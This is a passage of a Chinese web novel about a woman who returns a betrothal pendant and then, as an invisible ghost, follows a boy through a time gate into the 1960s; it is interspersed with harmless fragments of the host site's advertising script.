虽好奇颜晞月自己过来,怎么还带着个小姑娘一起,瞧着那身打扮明显不是一个圈子的,心中疑惑,但她并没有多嘴问什么。 现在颜晞月问起主人家的情况,她才微笑着点头。 “在,在了,我现在就上去和老爷子说你过来了。算起来颜小姐有几天没来了,这不,昨天老爷子还念起你了。” 眼见陈妈就要转身离开,颜晞月忙起身制止了她。 “陈妈,你去忙你的吧,顾爷爷是在花房吧,我自己上去喊他就行,好几天没见顾爷爷了,难得他还挂念我这个小辈。” 对于颜晞月的提议,陈妈只是稍稍迟疑了下。 “那行,颜小姐,我就先去忙自己的事了。” 陈妈要离开时,像是才想起什么,视线落在白幺幺身上。 “颜小姐,那这位小姐?” 陈妈的未尽之意是等下颜晞月自己暂时离开了,而她也离开去忙自己的事,把人一个人留在客厅,真的可以吗? 颜晞月领会到了她的意思,摆手道:“陈妈,你就去忙自己的吧,她是我在小区门口遇到的,有点事要找下顾爷爷,事情处理完就离开了。” 颜晞月的言 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 外之意相当明显,不是什么重要的人,随意招待下就行。 既然颜晞月这么说了,陈妈没多想,转身离开了。 颜晞月要上楼前,回头看到白幺幺有点拘谨的坐在沙发上,微低着头,眼睛都不敢随便乱瞧,心里很满意。 “咳咳。” 她轻咳两声,等白幺幺有些茫然的抬头看向她时,才说:“我现在上楼去喊顾爷爷下来,你坐在这里别乱跑。” 像是想到什么,她脸微微严肃了几分。 “顾爷爷喜欢收藏古玩珍品,这屋子里随便哪一样东西都价值连城,就是你屁股底下坐的沙发……” 颜晞月叭叭说了一通,最后总结道:“反正你就坐着,千万别乱走动,也别好奇乱碰屋子里的东西。” 猜到对方应该是来退掉婚约的,她是很满意对方的识趣没错。 可带人进来 后,她莫名的开始担心,人要是瞧见顾家的富有,被富贵迷了眼,又改变想法,死皮赖脸的不想退婚了,那怎么办? 所以就有了进来后这一幕一幕的,颜晞月这是在敲打人。 白幺幺:“……” 这小孩儿的把戏,真的很幼稚好不。 不过她目前很有闲情逸致陪女主玩。 毕竟有时候被比自己优秀强大的人找不痛快,那种憋屈感,远远没有被样样不如自己的人找不痛快,来得猛烈,甚至犹如吃了排泄物般难受。 白幺幺从进门开始就一直握着行李箱的拉杆,现在听颜晞月这么说,握着拉杆的手明显收紧了几分。 她努力做出不卑不亢的表情来,“我知道的,我不会乱跑,也不会乱碰屋里东西的。” 颜晞月满意的点头,心里则是冷哼。 如此小家子气,上不了台面的乡下丫头也配与阿尧哥哥有婚约。 顾爷爷当年也不知道是怎么想的? 她在心中小小埋怨了下。 目送女主扭着腰肢上楼,白幺幺才低头翻了个白眼。 猜到人不会很快下来,她直接闭目养神起来。 果然,过去约莫有十来分钟,她才听到下楼的脚步声。 第121章 大佬的舔狗青梅之错位时空的爱恋(08) 上楼见到顾老爷子后,颜晞月心里一琢磨,仍是觉得就刚刚那点敲打还不够。 她表现出一副见到顾老爷子很高兴的样子,一时忘记上来干嘛的,两人直接就聊上了。 她给老爷子讲了好几件近期遇到的趣事,从她上来后,花房里的笑声不断。 考虑到把人晾太久,顾老爷子可能会发现什么端倪,进而对她印象多少产生点影响。 颜晞月估摸着时间,觉得差不多后,才突然懊恼的轻敲了下自己的头。 “顾爷爷,瞧我这,见到您太高兴了,直接忘记我是上来喊您下去的,楼下有客人正等着见您了。” 不等顾老爷子问,她直接解释起来。 “我刚从外面回来路过保安亭时,听到有个小姑娘在和咱小区的保安说起您的名字,然后说是有什么东西要退还给您。” “那小姑娘和我年纪一般大小,瞧着不像是会骗人的,所以我就擅自把人带过来了,人现在就在楼下客厅坐着。” 颜晞月像是后知后觉的意识到自己做错事了,“不好意思,顾爷爷,这事我好像办得有点不经大脑,我……” “傻丫头,多大点事,没事的,走吧,我们一起下去看看。” 顾老爷子很喜欢颜家这小姑娘,要不是当年已经给阿尧定了亲,而阿尧自己似乎对这孩子也没男女之情,他早就让儿媳妇去颜家将婚事定下来了。 下楼时,颜晞月亲昵的虚扶着顾老爷子的手,不知道的还以为两人是亲孙女了。 白幺幺等脚步声很近后才抬头,视线先是落在颜晞月身上,然后再移到她旁边的老人家身上了。 她先是愣了愣,而后屁股上像装了弹簧般从沙发上弹起来,神色腼腆的,语气透着点不确定。 “你,你是顾远山,顾爷爷吗?” 白幺幺在看顾老爷子时,顾老爷子也在看她。 此时顾老爷子心中的想法是“这小姑娘好生眼熟啊”。 心有疑惑,却不耽误他做出回应。 “是,小姑娘你是?还有听颜丫头说你有东西要退还给我,什么东西?” 得到肯定的答复,白幺幺随即做出一个如释重负的小表情,从衣服口袋里掏出个金边金口的红色小布袋。 她走上前两步,将东西递给顾老爷子,同时简单的做了下自我介绍。 顾老爷子从红色小布袋中掏出一个玉佩来,看清玉佩的模样后,他当即恍然明白为什么觉得小姑娘眼熟了。 “你……你这孩子……你们当年怎么就不声不响的离开了?还有那么多年过去了,怎么现在才找来?” “应该早点,早点找来的呀!” 顾老爷子激动的站起来身来,拿着玉佩的手都微微发着抖。 那种落水后,一脚已经踏进鬼门关,惊恐,无助,害怕,最后被人救起来,重新活过来的感觉,顾老爷子到现在都记忆犹新。 “对了,孩子,你妈妈还好吗?既然你找过来了,今晚就留下一起吃顿饭,到时介绍你和阿尧认识下,年轻人熟悉段时间,觉得差不多了,就把婚事办了。” 顾老爷子似乎激动昏了头,直接忘记掉人家是来退还东西这茬。 在一边下楼后脸上就挂着浅笑的颜晞月:“……” 这顾爷爷是不是越老,脑子越糊涂了。 她紧咬着牙,差点就出声提醒老爷子人家是过来退婚的,退婚的! 不过被她忍住了。 白幺幺:……咱说来退婚的,那就是来退婚的,态度得摆出来。 白幺幺有点小尴尬的摇头,“那个,顾爷爷,我不是来履行婚约的,我,我是来退还定亲信物的。” “退,退还?” 顾老爷子愣了下,才反应过来,“你今天过来是来退婚的?” 白幺幺轻轻点了点头,“顾爷爷,我和您孙子都没见过面,也不熟,当年您留下的定亲信物我已经归还,所以这婚事……” “那个,丫头。” 顾老爷子打断白幺幺的话道:“这婚约岂有说退就退,没见过面没事,不熟也没事,这些只要给足相处时间,那都不是问题。” 顾老爷子停顿了下,一副语重心长的继续说道:“丫头,你还没见过我家阿尧了,不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是你顾爷爷我王婆卖瓜,我这孙子真的很不错。” “丫头,这定亲信物你先收回去,然后你和阿尧互相认识相处段时间,如果最后……你还是想退了这门亲,那到时候再说。” “这……” 白幺幺露出迟疑纠结的神情。 在一旁听了全程,又见白幺幺露出这样的表情,颜晞月简直快把牙齿咬碎了。 心里不仅在骂白幺幺,同时把顾老爷子也骂了进去。 毕竟只是个小姑娘,顾老爷子又如此的言辞恳切。 白幺幺哪里好意思拒绝,最后只能半推半就的点了点头。 白幺幺这点头的动作犹如一把利刃直直射向颜晞月,干净利落的切断她脑中绷着的那根弦。 如果不是尚有丝理智在,她已经扑上去撕扯白幺幺的头发了。 不是来退婚的吗? 怎么就不能态度坚定点? 她果然 还是太善良,太容易相信人了。 早知道,早知道就不…… 颜晞月深呼吸,努力控制着面部表情,让之前有些扭曲的模样恢复正常过来。 没事的,阿尧哥哥连她都……又怎么会看上个乡下来的丫头。 身为颜家的小姐,她要颜有颜,要身材有身材,要家世有家世。 阿尧哥哥那么聪明,肯定知道要如何做选择的。 颜晞月知道她就是太在乎阿尧哥哥了,才会但凡遇到点关于阿尧哥哥的事,都会犹如惊弓之鸟,容易瞎担心。 白幺幺全程都有分一丝注意力观察女主的表情变化,很意外这时候的女主精神状态就有点……疯魔了。 恋爱脑果然是病,得治。 不治没事,但若因此伤害到人,那就很不好,很不好了。 希望之后男女主“相亲相爱”在一起的时候,女主会感谢她。 到时,她一定不会做做好事不留名的雷锋哦。 顾老爷子一见白幺幺点头,立马露出爽朗的笑。 “丫头,这就对嘛,等下我让人安排客房,晚上你就直接先住下。” 第122章 大佬的舔狗青梅之错位时空的爱恋(09) 一听顾老爷子让人晚上直接住下,颜晞月忍不住出声了。 “顾爷爷,你是不是把我忘记了。” 她的话透着点小委屈,还很有歧义。 不过顾老爷子正陷在故人重逢的激动中,并没有察觉到,却也真的是才反应过来旁边还有人在。 “颜丫头,这就是老头子我当年给阿尧那臭小子定的下的媳妇,怎么样,不错吧!” 颜晞月:……这死老头子,白瞎了她这十来年的讨好与孝敬。 颜晞月很勉强的挤出一抹笑来,可是已经开始微微发红的眼眶根本逃不过在场人的眼睛。 顾老爷子:“……” 他猛然反应过来,刚刚真是被高兴激动冲昏了脑,怎么就忘记这丫头喜欢自家那小子喜欢的紧。 饶是经历过各种大场面的老爷子,此时真的也不知道要说什么呢。 小年轻的情情爱爱,他着实是不好插手。 还是颜晞月给了老爷子一个台阶下,不然场面继续冷下去,也不好看。 “嗯,瞧着挺不错的,顾爷爷的眼光向来就好。” 颜晞月忍着心中的酸涩,佯装不在意的模样,直接惹得顾老爷子在心中无奈叹息。 知道自己继续待着,很是尴尬,颜晞月提出告辞后,转身就小跑着离开了。 望着颜晞月跑开的背影,顾老爷子心中也有点不是滋味。 一个是他从小看到大的孩子,知根知底的,家世样貌才情都是一顶一的。 另一个则是救命恩人的孩子,当年还许下了婚约。 算了,儿孙自有儿孙福,一切看几个孩子自己的缘法。 颜晞月一回到家,哪里还能忍住,把自己关在房间里乱砸一通。 砸累后,才想起自己似乎忘了一件很重要的事。 坐在床上想了会儿,才猛然想起来,她还没给阿尧哥哥通风报信了。 这边,颜晞月离开后,白幺幺也提出要离开。 女主走了,晚上又见不到男主,她继续待着干嘛? 等晚上男主爸妈回来,看他们脸色,接受他们嫌弃挑剔的眼光。 再说了,她暂时也不是那么想见男主。 神经病今天见到一个已经够了,见两个是还是算了。 人家追着你跑的时候,你嫌烦厌恶,等人不追着你跑了,才慢慢发现早就喜欢上人家了,这不是犯贱就是有病。 还有原主死不见尸,警察查到原主最后见的就是女主。 可惜没有直接证据证明原主的失踪和女主有关系,以及女主家的背景运作,反正最终原主被定为失踪人口。 最后也只有原主妈妈疯魔般的四处寻找女儿,寻找真相。 从小一起长大的人,男主会不知道女主是什么性格,还拿那种谎言骗她,刺激她。 之后在融合了另一个世界记忆,聪明如男主,难道会察觉不出真相,可他对女主的爱却更浓烈了。 所以,原主的死,在男主这边也是不值一提的吧! 男主的三观妥妥的有问题,所以他和女主还真是绝配啊! 因着刚刚受颜晞月红着眼眶跑走的影响,顾老爷子并没有太坚持的挽留白幺幺。 不过白幺幺离开时,他还是记得交换下联系方式,同时问清楚她晚上住哪。 听到已经订的是安全性还不错的酒店,才放心让司机送人回酒店。 回到酒店,白幺幺第一时间是去洗澡。 等她洗完澡,简单吹了下头发,订的大餐也刚好送到。 美美饱餐一顿,白幺幺窝在酒店阳台的藤椅上看风景。 不得不说这座城市的夜景很美,很多人挤破头了想在这里扎根立足。 而有的人,他们只想当这座城市的过客。 再美的风景总会看累,白幺幺无聊的开始数星星。 数着,数着,天上那颗仿若离她最近的星星变成了一张脸。 白幺幺:??? 日有所思,夜有所梦。 她这日也没思,夜都还没开始梦,怎么就想起那个有些奇怪的小男孩呢? 不过,被那玉佩影响了情绪,所以她当时很多东西没往深的想。 住处简陋干净整洁,家具陈旧用的却是上好材料。 小男孩瞧着瘦弱,却白净好 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看。 衣服款式简单,面料瞧着却是极好的。 以及小男孩周身释放出气质,总而言之,所有的一切矛盾点很多。 对了,那小男孩的长相给她一种熟悉感。 她当时本要细究的,只是小男孩的手指突然被刻刀划破了口子,打断了她的思绪。 白幺幺盯着天上的星星,继续这个问题。 “我去!” 白幺幺猛的从椅子上弹跳下来,咻的一下跑回房里。 这回真是她疏忽大意了啊! 或者说她因对某门抱着偏见,当然某门的特殊对待很难让人对它不抱有偏见。 不过,白幺幺同志也深刻认识到做自己的错误了。 原主让她找人,明明有个和那人长得神似的小孩曾出现在她面前,人家只是瘦弱点,还没长开而已。 她竟然没第一时间敏锐 的察觉端倪,然后往这方面想。 白幺幺从包里拿出纸笔刷刷画起来,没一会儿,小男孩的基本面部轮廓就跃然纸上。 画完后,放下笔,白幺幺将之前画的那个男人画像找出来。 两张画像放一起,对比着看,更直观。 支着下巴观摩了会儿,白幺幺得出一个结论。 那个小男孩就算不是原主要找的那人,两人也肯定存在一定关系,可能是兄弟,也可能是父子。 哎,想到…… 白幺幺的激动之情一下子退却了,找到线索了又怎样? 她在另一个世界就是个阿飘的存在,她看得到别人,别人却看不到她。 最最重要的是,活动范围还被限制了,想做什么都不得法子。 还有,其实吧,白幺幺心中更希望那个小男孩不是原主要找的那个男人。 算了,想那多没用。 按照两个世界的时间流速,从她离开后到现在,那个世界已经过去三个多月了。 反正问题无解的时候,就先去做,做着做着,答案自然就出来了。 她还是直接去那个世界看看,等小男孩洗澡时,看下他背部靠近风门穴的地方是不是有颗红痣。 第123章 大佬的舔狗青梅之错位时空的爱恋(10) 当年原主脚崴了,是那个大哥哥直接背着她去找到老师的。 对方在原主被老师围着关心时,不声不响的离开了。 当时原主懊恼自责极了,后悔在人家背上时,由于紧张害羞,愣是不敢主动和人说半句话。 哪怕简单问下名字也行。 甚至到最后连谢谢两字,都没能和对方说。 而对方后背上有颗红痣,是原主不经意瞧见的。 当然这个特征就是到时如果出现两个一模一样的,比如双胞胎,才能派上用场。 确认酒店房间安全后,白幺幺才通过时空门再次来到另一个世界。 此时这边世界天刚刚破晓。 外面是挺亮的了,不过屋子门窗紧闭,光只能透过些缝隙进来,显得昏暗。 只一眼,白幺幺确认自己此时所处的就是第一次过来的那个屋子。 意料之中的,却不免还是生出些许失望。 透过薄薄的纱帐,白幺幺瞧见床上隆起的弧度,心里莫名松了口气。 没办法,她的活动范围被限制,要是这孩子没在这里住了,她…… 白幺幺没过去打扰人家小孩子睡觉,尽管她想打扰也打扰不到。。 她收回视线,重新在屋子里逛起来,这回她没放过任何一个细节。 屋子不大,查看得再仔细,也只用不到十分钟。 完事后,白幺幺就得出一个结论,违和感太强了。 屋子里的东西不是比较陈旧,就是款式样式比较老……或者说十分富有某年代的气息。 白幺幺将疑问放在心上,这回她没急着去下什么结论。 没意义,毕竟凡事皆有可能。 说不定这间屋子就是人家为了怀旧,特意复刻出来的。 毕竟,屋里真的太干净了,每样东西,她第一次来时如何摆放,这次依旧是,位置还基本上可以说是分毫不差。 要不是现在床上睡着人,白幺幺都怀疑这屋子平时不住人的,实在是屋子里没有那种长期住人的气息。 反正她现在能做的就是大胆怀疑,小心求证。 屋里看完,白幺幺又去外间厨房看看。 而她不知道的是在她离开后,床上人倏地睁开了眼睛,眼里一片清明,根本没有刚睡醒的迷蒙。 他转头盯着白幺幺方才站的位置,许久后,才几近无声的呢喃出一句话来。 “原来还没去地府报到呀!” 第一次,她只是进厨房里扫了一眼,并没细看。 不过这次她又进去细看一番,一样是打扫得很干净,里面东西摆放得很规整。 可是米缸里面连颗米都没看到,找遍厨房各个角落也不见什么瓜果蔬菜以及油盐酱醋等调料的影子。 白幺幺最后还探头往灶口里瞧了瞧,里面空空的,连点黑灰都没有。 这下不用怀疑了,这间厨房已经很久没开过火了。 那屋里的小男孩平时是如何解决三餐的呢? 这个疑惑只是一闪而过,白幺幺并没有过分纠结,毕竟很快就能得到解答了。 重新回到屋子里,白幺幺视线第一时间往床上看去。 还没醒? 小孩子正长身体,多睡点挺好的。 现在屋里还不是很亮堂,但不影响白幺幺打量人。 她来到床边,脑袋穿过纱帐,开始端详起小男孩露在被子外的脸。 “嗯,果然是很像,就是太瘦了 。” 如果真是原主要找的那个人,那别说她挺幸运的,真真是得来全不费工夫。 在白幺幺不知道盯着人看了多久,床上的小男孩终于悠悠转醒了。 他睁开眼睛,直直的盯着床顶看了好一会儿,才掀开被子起身下床。 见人要下床,白幺幺忙让开。 知道就算她不让开,也挡不到人家的路,可她就是不喜欢别人从自己身体穿过。 小男孩下床后,穿上鞋子,直接向房间外走去。 白幺幺好奇对方要干嘛,忙跟上去。 见人打开院子的篱笆门,就要出去。 白幺幺:“……” 这确定不是在玩她? 活动范围被限制的人伤不起啊! 眼见的人开始走远,白幺幺却无能为力呀! 只是……忽的,她感觉到了一股无形的拉扯之力。 白 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 幺幺:“???” 察觉到反抗不了,她直接顺应这股拉扯之力,然后,她就这样出了院子…… 白幺幺安静的跟在小男孩身后走着,只落后他一两步。 此刻她心里很不平静。 原来她的活动范围是被限制了没错,但不是被限制在那座小院里,而是…… 她目光有些复杂的落在前面那道身影上,没错,就是他。 她似乎和这小孩捆绑了,只能在离小孩一定距离范围内活动。 当要超过那个距离时,前方就会出现一道无形屏障让她无法再前进。 而若是小男孩动了,她要是不跟上,最后就会出现一道无形的力,让她不得不跟上。 小男孩瞧着瘦弱,步伐却相当稳健,体力更是嘎嘎好。 白 幺幺一边跟着人走,一边观察四周环境。 很偏僻,真的很偏僻。 已经走了有快两公里,不见其他人烟。 晨间的风景很好,白幺幺无心欣赏,她已经可以笃定,这小男孩不简单。 约莫又走了一公里,是没见着房屋,也没见着人,但远远地瞧见了一辆黑色的车。 等等,这车很新是没错,可这款式? 好吧,不就是一辆和五六十代年代某牌子车外观一样的小轿车,白幺幺同志决定不大惊小怪了。 还是那句话,凡事皆有可能。 有钱想复刻出这样一辆车来,很简单的。 白幺幺心中有个猜测,可她就是莫名的很抵触这个猜测成真。 小男孩距离车子还有十几米远时,车上下来一个着装干练的寸头男人。 只见男人走到后车门边站定,身量笔直。 等小男孩走近,立马帮着打开车门,同时弯腰恭敬的喊道:“三爷。” 小男孩全程面无表情的,只是轻点下头算是回应,而后动作干净利落的坐上车。 白幺幺:“……” 三爷? 想都不用想,这肯定不是小男孩的名字。 听着就很大佬呀! 所以自闭症啥的?不存在的。 不过,不是自闭症挺好的。 第124章 大佬的舔狗青梅之错位时空的爱恋(11) 尽管她现在的状态不吃不睡,走一天的路也不会觉得累。 但有车不坐,那是傻子才干的事。 在车子还未启动前,白幺幺同志不需要人开车门,自己就从另一侧后车门穿进车里。 小男孩一上车就背靠着座椅开始闭目养神。 有着别人看不到她的优势,白幺幺直接肆无忌惮的打量起车内饰来。 她边打量还边啧啧的发出赞叹声,真别怪她没见过世面,主要这车她还真就第一次见,第一次坐 。 打量完车,她又开始打量人来。 没人看得到自己就是这点好,她从后座轻松切换到副驾上,盯着人家司机看了很久,对方却浑然不觉。 瞧那裸露在外面的遒劲肌肉,以及周身隐隐散发出来那股肃杀之气。 此人身手必然不错,而且是个见过血的。 白幺幺准备收回视线时,眼角不经意扫过某处,她眼眸倏地一凝。 枪? 男人很显然是小男孩的司机兼保镖,现在还随身带枪。 白幺幺微敛了下眸子,看来这孩子身边不太平啊。 一路上都是黄土路,有点颠簸。 白幺幺就是想受影响也受不到。 不过她挺佩服一上车就闭着眼睛,无论车子如何颠簸晃动,表情都没有半丝变化的小男孩。 车子颠簸了有二十来分钟,车轮底下的黄土路变成了砂石路。 白幺幺早就从一开始的好奇宝宝,变成了沉默宝宝。 因为在五分钟前,她已经从小男孩与前方司机的仅有一段简单对话中,知道了这个世界所处的年代。 所以,这玉佩中的时空门还真是…… 人家女主是穿越到八年前的平行世界,到她这边,则是给她整到了六十年代来。 现在的情况就是哪怕两个人是一个模子刻出来的,这小男孩也不可能是原主要找的那人,毕竟年龄对不上呀! 白幺幺有些蔫吧垂下脑袋来。 所以,按照时间以及年龄来算。 原主要找的人,有可能是身旁坐着小男孩的老来子,也有可能是他的孙辈。 想到这,白幺幺转头看向小男孩,自言自语起来。 “要不我先回去,然后算着时间,等你孙子或者老来子出生后,我再过来瞅瞅。” 这想法一出,白幺幺觉得很可行呀。 当然,她真的也就说说。 她现在在这个世界活动范围虽然被限制了,但又没完全被限制。 平时过来看看这孩子的人生走向,不比看电影好玩。 没办法,一个人的世界,真的有点孤独。 白幺幺放纵自己思想,也放纵自己的言行。 没观众,只能自己唱唱独角戏,才不至于那么无聊。 车子并没有经过什么热闹街道,白幺幺有点小遗憾。 她早就没坐在车里,而是跑到车顶坐着,欣赏起沿途的风景。 又过了十五分钟,车子在一栋建在半山腰的三层小洋楼前停下来。 白幺幺比车里人先一步从车顶下来,开始打量起眼前的豪宅。 小男孩下车后,她才跟着人一起进屋。 一个管家模样的中年男人应该是听到车声,急匆匆从楼上下来,见到小男孩,忙止住脚步,语气恭敬。 “三爷,您是先用餐,还是……。” 中年男人话还没说完,小男孩出声打断他。 “先洗澡。” “好的,三爷,我现在马上去给您放洗澡水。” “洗澡?” 白幺幺两眼放光的看向小男孩,还故意做出一副怪阿姨的夸张表情。 “虽然还是豆芽菜,没啥看头,不过吧,嘿嘿,不看白不看。” 白幺幺话才刚说完,就听小男孩将要上楼的中年男人喊住,改变主意不先洗澡,要先吃饭了。 白幺幺:“……” 刚刚的表情白做了。 “小孩子就是善变,从外面回来,第一件事当然是先洗香香,洗完一身干净舒爽,才好慢慢享受美食。” 美食在前,只能看不能吃,对白幺幺来说绝对是一种折磨。 白幺幺想了想,还是和小男孩打了声招呼。 “你去吃饭,我自己去四处逛逛哈。” 白幺幺打完招呼,就哼着歌开始参观小男孩的住处。 这种时候, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 白幺幺爱极了自己现在的状态,想去哪里就去哪里。 别说门,就是墙对她来说都形同虚设。 再大的房子也有逛完的时候。 十五分钟后,白幺幺回到餐厅想找小男孩。 “咦,吃这么快的吗?” 去客厅看了没人,白幺幺直接去小男孩的卧房。 逛了一圈,她可不是白逛的,必然有收获的。 白幺幺穿墙进去时,看到人正要脱衣服,她下意识嘀咕出声。 “饭后最好不要立马洗澡 ,至少要休息半个小时或一个小时后再洗澡。” 也不知道是巧合,还是其他,原本已经掀起一半上衣要脱掉的小男孩,他又重新将衣服穿好,然后离开房间。 白幺幺:“???” 怎么不脱了? 就算不洗澡,也可以先换下衣服的呀! 她忙屁颠屁颠的跟出去,然后见小男孩去了书房。 她在门口仅仅犹豫了那么一秒,也跟着进去了。 这回她不是穿门板而过,而是光明正大的从门走进去的。 小男孩进去后,好像是忘记关门了。 白幺幺进来后,回头看身后没其他人了,忍不住嘀咕。 “书房重地,进来就要随手关门,果然是年纪还小,不懂这个随手关好门的重要性。” 白幺幺是背对着人嘀咕的,所以并没有看到在她嘀咕时,某小男孩额头突突跳两下。 探头往门外瞧了会儿,发现真没有人要进来了。 白幺幺起了玩心,她开始伸手试着想要帮小男孩把门关上。 只是反复试了好几次,她的手始终无法握住门把手,都会从上面穿过去。 要是换成别人,可能这会心态会崩掉。 不过白幺幺只是耸耸肩,然后仿佛刚刚干了那傻事的人不是她。 而这时,小男孩似乎想起忘记关门这茬了,放下手中的钢笔,起身走了过来。 白幺幺看人走过来,猜到是过来关门的,满意的点了点头。 “还好,终于想起了,还有书房的门记得关好了,太多秘密都是因为书房门没关好,恰巧留了那么一条缝而泄露出去的。” 第125章 大佬的舔狗青梅之错位时空的爱恋(12) 白幺幺说完就自顾朝小男孩方才坐着的位置走去,除非她眼睛长脑后,才能注意到小男孩关门的动作停顿了下。 “哟呵,纯外语文件,不错呀!” 这个年代精通外语是顶厉害的 ,还是才这个年纪的孩子。 白幺幺视线落在文件末尾的签名上,上面的墨水还未干透,明显是刚刚才签上去。 “顾石川。” 她照着上面的签名一字一顿的念出来。 这时小男孩已经关好门走过来,白幺幺忙往旁边让了让,而后看着人说:“原来你叫顾石川呀,那我以后就叫你小石吧。” 那种仿佛全世界就只剩下你一个人的感觉,让白幺幺很有分享欲。 她习惯性的想拉把椅子过来坐,只是才伸出手,就反应过来自己现在拉不动椅子的。 算了,也没人看得到。 白幺幺身体一跃,直接一屁股坐到办公桌上。 “小石,没想到你也姓顾,看来我最近和姓顾的很有缘分啊!” “不过我告诉你哦,同样姓顾,另外一个姓顾的他脑子有病,反正你千万别学他。” 白幺幺停顿了下,似乎在组织语言,很快她继续说起来。 “男孩子对待感情要认真,果断,喜欢就是喜欢,不喜欢就是不喜欢,别当那种连自己的心都看不懂的傻逼。” “还有啊,感情是两个人的事,不管怎么想的,敞开说明白,也千万别把其他无辜者牵扯进去。” 像是想到什么,白幺幺又补充道:“对了,最重要的一点,必须敬畏生命,自己的命是命,别人的命更是命。” 书桌有一定高度,白幺幺坐在上面,说话时还无聊的晃动着双腿。 瞅着正专心看起另外一份文件的小孩,白幺幺忽的就对这个叫顾石川的孩子产生了好奇。 小小年纪就如此沉稳,而且处理起这些很多大人都觉得头疼吃力的文件,却能游刃有余。 照理说,这样的人,在这个年代不应该籍籍无名,肯定能在历史长河中留下点或好或坏的笔墨。 白幺幺决定了,回去后,好好查查这个叫顾石川的。 刚好顺藤摸瓜,很快也能找到原主要找的那人,之后就是看人现在是什么情况,再看看要怎么让人幸福。 当然,说不定人家现在就很幸福,那就不需要她什么事了。 这时敲门声响起。 白幺幺条件反射的从办公桌上跳下来,等落地后,她才反应过来,进来的人又看不到她,她注意个啥形象。 顾石川视线没从文件移开,只是沉声说了个“进”。 白幺幺算是见识过很多大佬的,不过这个年纪的真是头一次。 心中除了赞叹还是赞叹。 敲门的人自己推开门走了进来。 不知道是有意放轻脚步声,还是本来走路就比较轻,来人低着头走到距离办公桌半米远时停下。 “三爷。” 来人抬头唤道,语气中满满的尊敬与畏惧。 “顾……顾远山!” 白幺幺抬手指着进来的人惊呼道。 不是,应该说是年轻的顾远山,男主他爷爷。 所以,不仅是同一个顾,还可能是出自同一家? 兜来兜去,人都兜一起了。 在这个世界遇到第一个熟人,白幺幺同志有点激动,再次完美错过能注意到某人因她的惊呼,拿着钢笔的手停顿了下,笔尖在纸上晕开一个绿豆大小的点。 顾石川依旧没抬头,沉声道:“什么事,说。” 随着他这一声出,青年版顾远山身体不自觉哆嗦了下,下意识的想抬手去抹额头上根本不存在的虚汗。 怎么感觉三爷的声音好像比刚刚在门外听到的还冷了几分。 青年版顾远山仔细回忆自己进来后的言行,觉得自己已经足够小心翼翼了,所以应该是他感觉错了。 白幺幺惊呼完,直接走过去围着青年版的顾远山转圈圈,嘴上时不时发出评价语来。 “啧啧,没想到二十左右岁的顾远山长这副模样。” “呵呵,挺有当小白脸资质的,不过不得不说,这小子老了后也是个帅老头。” “嗯,就是在后代的教育上有点失职,这点很不好,很不好。” 青年版顾远山刚在心里整理好要说的话,原本从他进来后就没抬起过 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 头来的顾石川终于缓缓抬起头来,目光锐利如刀。 “你先回去,把事情整理成文件,明天送过来。” 青年版顾远山:“……” 他真的就是过来请示一件很小很小的事。 今天的三爷似乎有点奇怪,具体哪里奇怪他又说不上来。 不过能感觉到的就是三爷身上释放出的气势更慑人了。 “好,好的,三爷。” 青年版顾远山小心翼翼的退出去,将书房门关上后,他才抬手抹了抹额头。 “唉,怎么就走了?” 白幺幺追了出去,好不容易遇到个熟人,真的很难得呀! 而她不知道的是,在她穿墙追出去后,某人的脸色以肉眼可见的速度黑了下来。 白幺幺是很想跟着青 年版顾远山回家瞧瞧的。 没办法,要不是亲眼所见,很难想象这个时候的顾远山竟然是这样的。 果然大佬年轻的时候也是要从小弟做起的。 只是,想法很美好,现实…… 白幺幺最后还是只能目送青年版顾远山离开,不过今天收获算是满满的,她特满意。 重新回到书房,白幺幺发现里面已经没人了。 白幺幺去卧室找人,里面依旧没人。 既然她还在别墅里,那人肯定也在别墅里。 白幺幺不急着找人,毕竟找到了人,又沟通交流不了。 还有……这不是偶尔还是得给人点私人空间。 小洋楼建在半山腰,风景那是不必说的。 白幺幺跑到顶楼屋顶躺着,边晒太阳,边看风景。 这种晒太阳晒个寂寞的机会,必须好好把握住。 “咦,什么声音?” 白幺幺循着声音探头看去。 院子里的露天泳池中,此时正有一道身影在其中灵活移动着,时不时激荡起水花。 没在书房,也没回卧室,原来是跑去游泳啦。 白幺幺起身,太阳不晒,风景也不看了。 没一会儿的功夫,她身影就出现在了泳池边,随便寻个躺椅坐下,开始欣赏某小孩的泳姿。 第126章 大佬的舔狗青梅之错位时空的爱恋(13) 没想到瞧着挺瘦弱的一小孩,体力与爆发力如此强。 白幺幺在泳池边看得啧啧称叹。 看别人游泳,最近看得她也想自己跳下去游两圈了。 心动那就行动。 就在白幺幺准备跳进泳池中时,顾石川已经游完,刚好从泳池里上来。 小孩光裸着上半身,而下半身只穿着一件泳裤。 撇开脸看身材的话,真的太瘦了,没啥看头。 但皮肤是真的白,却不是那种很健康的白,有点病态,她也不喜欢这种。 知道对方看不到也听不到,白幺幺还是微笑着和人打声招呼。 没办法,自娱自乐,仪式感还是要有的。 “小石,你不游啦,那换我下去游会儿。” 白幺幺说话之际,顾石川刚好转身准备拿放在椅子上的浴巾。 而在他转身的一刹那,后背完完全全暴露在白幺幺眼中。 白皙皮肤上的那一点红格外吸睛,白幺幺是真看愣住了。 很快回神后,她想确认自己是不是眼花看错了,身影一下子来到顾石川的身后。 果然有颗红痣,还是长在一模一样的位置。 “小石,没想到你后背也长了颗红痣,话说你的这个痣是家族遗传的吧!” “就是以后你的孩子孙子,也可能在同一个位置长这么个红痣。” 白幺幺又顾自说起来,这回真的是在说给自己听的。 顾石川拿起浴巾展开披到身上,直接回屋去了。 而这次白幺幺没有跟上去,她刚刚说要游泳那不是白说的。 她此刻的状态,又感觉不到水,跳下水,衣服也不会湿,不需要换啥泳衣。 